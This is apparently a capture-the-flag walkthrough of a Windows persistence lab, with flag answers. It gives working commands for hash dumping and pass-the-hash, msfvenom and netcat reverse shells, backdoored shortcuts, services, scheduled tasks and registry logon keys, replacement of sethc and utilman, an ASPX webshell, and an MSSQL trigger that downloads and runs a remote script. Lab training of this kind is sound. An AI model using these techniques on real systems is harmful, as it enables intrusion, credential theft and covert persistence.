Skip to content

Windows Local Persistence Banner

Windows Local Persistence Logo

Windows Local Persistence

This guide contains the answer and steps necessary to get to them for the Windows Local Persistence room.

Table of contents

Tampering With Unprivileged Accounts

  1. Insert flag1 here

The first thing we need to do, is add the thmuser1 to the "Backup Operators" and the "Remote Management Users" groups. This can be done through the Administrator account.

net localgroup "Backup Operators" thmuser1 /add

net localgroup "Remote Management Users" thmuser1 /add

Tampering Add User

We also need to disable the LocalAccountTokenFilterPolicy.

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Tampering Change Policy

Now we have access to the SAM and SYSTEM files. Lets export them from the registry and download them to our machine.

reg save hklm\system system.bak
reg save hklm\sam sam.bak

download system.bak
download sam.bak

Tampering Download

After downloading, we can use the secretsdump.py file to dump the hashes from the hives.

python /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

With the found Administrator hash (only the last part), we can use a pass-the-hash method to login withn WinRM.

evil-winrm -i 10.10.112.47 -u Administrator -H f3118544a831e728781d780cfdb9c1fa

Success! Now we can execute the flag file.

Tampering Flag1

Click for answerTHM{FLAG_BACKED_UP!}

  1. Insert flag2 here

First, we add the required privileges (SeBackupPrivilege and SeRestorePrivilege) to the account through the Administrator account.

secedit /export /cfg config.ini

Tampering Config

Now we must load this configuration back into the system.

secedit /import /cfg config.ini /db config.db
secedit /configure /db config.db /cfg config.ini

Lastly, we change the descriptor for WinRM so the user can use it. Add the user (thmuser2) and make sure it has full control.

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

Tampering Descriptor

After having done that, we can login with this user and export and dump the hashes from the accounts as done in the previous question.

Now login with the obtained Administrator hash and find our second flag.

Tampering Flag2 Error

Unfortunately, there seems to be something missing. But the privileges are enabled for my account...

Tampering Flag2 Error 2

We'll have to get back on this one.

Click for answerAnswer found online is: THM{IM_JUST_A_NORMAL_USER}

  1. Insert flag3 here

First we need to open regedit with SYSTEM privileges. We will use PsExec for this.

PsExec.exe -i -s regedit

Rid Regedit

Here we see a list of users. We are interested in thmuser3. So we need to find the correct one.

Using wmic we can find the RIDs of all users.

wmic useraccount get name,sid

Rid Users

thmuser3 has RID 1010. Converting this into its hex value (base16) gives us 3f2.

Rid Hex Value

This can also be found in regedit under the users tab.

Rid Regedit User Hex

Under the F key, we can see the RID data for this user. At position 30 (0x30) we can see the RID stored with little endian notation (e.g., f2 03).

Rid Old Value

We must change this to that of the Administrators account which is 1F4 (this can be found under the users tab in regedit). Remember to reverse the numbers (f4 01).

Rid New Value

Unfortunately, the machine seems to have crashed. So I had to restart the machine and re-do these steps.

After trying again, it still won't work...

================================================================== The following steps did not work...

Now we can log into the machine with RDP and the thmuser3 credentials.

RID LOGIN THMUSER3

It appears we have indeed Admin privileges as our terminal is started in system32. Lets try and get our flag.

RID FLAG 3

Click for answerAnswer found online is: THM{TRUST_ME_IM_AN_ADMIN}

Backdooring Files

  1. Insert flag5 here

Lets first create a Powershell script which will create a reverse shell and afterwards opens calculator as if nothing happened.

Backdoor Script

Don't forget to add your IP and port. Save it to the same folder as the calc shortcut (system32).

Now we must alter the shortcut to link to our script. The target should be:

powershell.exe -WindowStyle hidden C:\Windows\system32\backdoor.ps1

Backdoor Shortcut

Notice that the shortcut icon has changed to a powershell icon. Lets revert this to avoid suspicion.

Backdoor Shortcut Icon

Now we can start out listener with: nc -nlvp 1337 and execute the shortcut. If we get a connection we can retrieve our flag.

Backdoor Flag5

Click for answerTHM{NO_SHORTCUTS_IN_LIFE}

  1. Insert flag6 here

For this we need a script which is slightly different.

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.18.78.136 1337"
C:\Windows\system32\NOTEPAD.EXE $args[0]

Backdoor Script2

Now we must change the file type association of a .txt file.

We must change the open command for txtfile to the following:

powershell -windowstyle hidden C:\Windows\backdoor2.ps1 %1

Backdoor Txtfile

Next we create a text file on the desktop and setup our listener on our machine with nc -nlvp 1337. Finally, we should get a connection when opening the text file.

Backdoor Reverse Shell

All thats left to do now, is get our flag.

Backdoor Flag6

Click for answerTHM{TXT_FILES_WOULD_NEVER_HURT_YOU}

Abusing Services

  1. Insert flag7 here

First thing to do is create a payload that will give us a reverse shell upon executing. Make sure the type is set to windows service.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.18.78.136 LPORT=1337 -f exe-service -o rev-svc.exe    

Abusing Service Msfvenum

Now we can transfer this file to the target system.

evil-winrm -i 10.10.163.79 -u Administrator -H f3118544a831e728781d780cfdb9c1fa

upload /home/kali/rev-svc.exe C:\Windows\rev-svc.exe

Abusing Service Transfer

Next we must create a new service that points to this executable and starts at launch.

sc.exe create THMservice2 binPath= "C:\Windows\rev-svc.exe" start= auto

Abusing Service Create

Before starting this service, we should setup a listener with nc nc -nlvp 1337.

sc.exe start THMservice2

Abusing Service Start

Now that we have a connection, we can get our flag.

Abusing Service Flag7

Click for answerTHM{SUSPICIOUS_SERVICES}

  1. Insert flag8 here

To find a suitable service to modify, we should check for any stopped services. Instead of looking through all services, we know there is one named THMservice.

sc.exe query state= all
sc.exe query thmservice2
sc.exe query thmservice3
sc.exe qc thmservice3

Abusing Service Services

We see we only need to change the binpath and account name it will run as.

sc.exe config thmservice3 binPath= "C:\Windows\rev-svc.exe" obj= "LocalSystem"

Abusing Service Modify

After starting out listener again, we can start the service to get a connection back.

nc -nlvp 1337
sc.exe start THMservice3

Abusing Service Start2

Now we can get our flag!

Abusing Service Flag8

Click for answerTHM{IN_PLAIN_SIGHT}

Abusing Scheduled Tasks

  1. Insert flag9 here

We can use the following command to create a task that will run every minute and creates a netcat connection back to our system.

schtasks /create /sc minute /mo 1 /tn THM-TaskBackDoor /tr "C:\tools\nc64 -e cmd.exe 10.18.78.136 1337" /ru SYSTEM

Tasks Create

We can check if it was properly created with schtasks as well.

schtasks /query /tn THM-TaskBackDoor

This is already enough for the flag. But we can still try and hide this task. This can be done by either removing or renaming its security descriptor.

Open regedit with SYSTEM privileges using PsExec:

C:\tools\pstools\PsExec.exe -i -s regedit

Now navigate to Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\THM-TaskBackDoor and remove or rename the SD key.

Tasks Descriptor

Querying the task again, should now give us an error.

Tasks Error

Al that is left to do now, is setup our nc listener and wait for the task to run again.

Tasks Flag9

Click for answerTHM{JUST_A_MATTER_OF_TIME}

Logon Triggered Persistence

  1. Insert flag10 here

We need to create another payload which is of type exe (not exe-service).

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.18.78.136 LPORT=1337 -f exe -o revshell.exe

Create an http server and transfer it to our target machine.

python3 -m http.server 8080

wget http://10.18.78.136:8080/revshell.exe -O revshell.exe

Logon Startup Transfer

Now copy this file to the startup folder for all users:

copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\revshell.exe"

Logon Startup Copy

Before loging out, make sure to disable the previously created task or it might interfere. Then logout of the machine and remote back in.

If you setup a listener first, you should get a connection back.

Logon Startup Login

And we can get our 10th flag.

Logon Startup Flag10

Click for answerTHM{NO_NO_AFTER_YOU}

  1. Insert flag11 here

We can use the same file, but lets move it so the startup folder doesn't execute it as well.

move "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\revshell.exe" "C:\Windows\revshell.exe"

Logon Run Move

Now we must add a key to the registry telling windows to execute the file on login. We'll place it in the folder for all users. HKLM\Software\Microsoft\Windows\CurrentVersion\Run

Make sure to add it as an expandable variable with name MyBackdoor

Logon Run Registry

After loggin in again (and setting up a listener), we should be able to get our flag.

Logon Run Flag11

Click for answerTHM{LET_ME_HOLD_THE_DOOR_FOR_YOU}

  1. Insert flag12 here

We can use the same payload as in the previous question. We don't need to move it either.

What we need to do is modify the userinit key in the winlogon folder of the registry to include our payload.

Navigate to HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ in the registry.

Append the userinit value with , C:\Windows\revshell.exe.

Logon Winlogon Registry

Don't forget to remove the run value we added in the previous question. Logout and back in again and we should be able to get our flag.

Logon Winlogon Flag12

Click for answerTHM{I_INSIST_GO_FIRST}

  1. Insert flag13 here

We can use the same payload as in the previous question. We don't need to move it either.

Navigate to HKCU\Environment and add en expandable string value called UserInitMprLogonScript and have it point to our payload.

Logon Scripts Registry

Don't forget to remove the userinit value we added in the previous question. Logout and back in again and we should be able to get our flag.

Logon Scripts Flag13z

Click for answerTHM{USER_TRIGGERED_PERSISTENCE_FTW}

Backdooring the Login Screen / RDP

  1. Insert flag14 here

In order for this exploit to work, we need to take ownership of sethc.exe and give the admin account permission to modify it. Then make a backup just in case and overwrite the original with cmd.exe

takeown /F C:\Windows\system32\sethc.exe
icacls C:\Windows\system32\sethc.exe /grant Administrator:F

copy C:\Windows\system32\sethc.exe C:\Windows\system32\sethc.exe.bak
copy C:\Windows\system32\cmd.exe C:\Windows\system32\sethc.exe

Login Screen Ownership

Now we lock the machine, hit shift 5 times and we should get a command prompt.

Login Screen Cmd

Now we can get our flag.

Login Screen Flag14

Click for answerTHM{BREAKING_THROUGH_LOGIN}

  1. Insert flag15 here

In order for this exploit to work, we need to take ownership of utilman.exe and give the admin account permission to modify it. Then make a backup just in case and overwrite the original with cmd.exe

takeown /F C:\Windows\system32\utilman.exe
icacls C:\Windows\system32\utilman.exe /grant Administrator:F

copy C:\Windows\system32\utilman.exe C:\Windows\system32\utilman.exe.bak
copy C:\Windows\system32\cmd.exe C:\Windows\system32\utilman.exe

Login Screen Utilman

Now we lock the machine and click the accessibility icon to receive a command prompt.

Login Screen Cmd2

Now we can get our flag.

Login Screen Flag15

Click for answerTHM{THE_LOGIN_SCREEN_IS_MERELY_A_SUGGESTION}

Persisting Through Existing Services

  1. Insert flag16 here

We can use the webshell provided in the link. Setup an http server and transfer the file to the target machine.

curl http://10.10.112.63:8080/shell.aspx -o shell.aspx
move shell.aspx C:\inetpub\wwwroot\shell.aspx

Persisting Webshell Transfer

If we now head to http://10.10.100.83/shell.aspx we should be able to access the shell.

Persisting Webshell Denied

Unfortunately, we are denied access to the file. This might be due to permission not transfering over. Lets change that

icacls C:\inetpub\wwwroot\shell.aspx /grant Everyone:F

Persisting Webshell Permissions

Trying again, does give us access to the shell.

Persisting Webshell Access

We can now get our 16th flag.

Persisting Webshell Flag16

Click for answerTHM{EZ_WEB_PERSISTENCE}

  1. Insert flag17 here

Lets first create our powershell script. Make sure to use the correct ip and port.

Persisting Mssql Script

$client = New-Object System.Net.Sockets.TCPClient("10.10.112.63",1337);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
   $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
   $sendback = (iex $data 2>&1 | Out-String );
   $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
   $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
   $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()

Now we must prepare the SQL database. Start the Microsoft SQL Management Service and create a new query to enable xp_cmdshell.

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

Persisting Mssql Reconfigure

Next, we must grant all users the ability to impersonate the sa user.

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

Persisting Mssql Impersonate

Now we must select the HRDB database and create our trigger.

USE HRDB

CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://10.10.112.63:8080/evilscript.ps1'')"';

Persisting Mssql Trigger

All that is left now, is to add a new employee into the database. This can be done from the root webpage (http://10.10.100.83).

Persisting Mssql Access

Now we can get our final flag.

Persisting Mssql Flag17

Click for answerTHM{I_LIVE_IN_YOUR_DATABASE}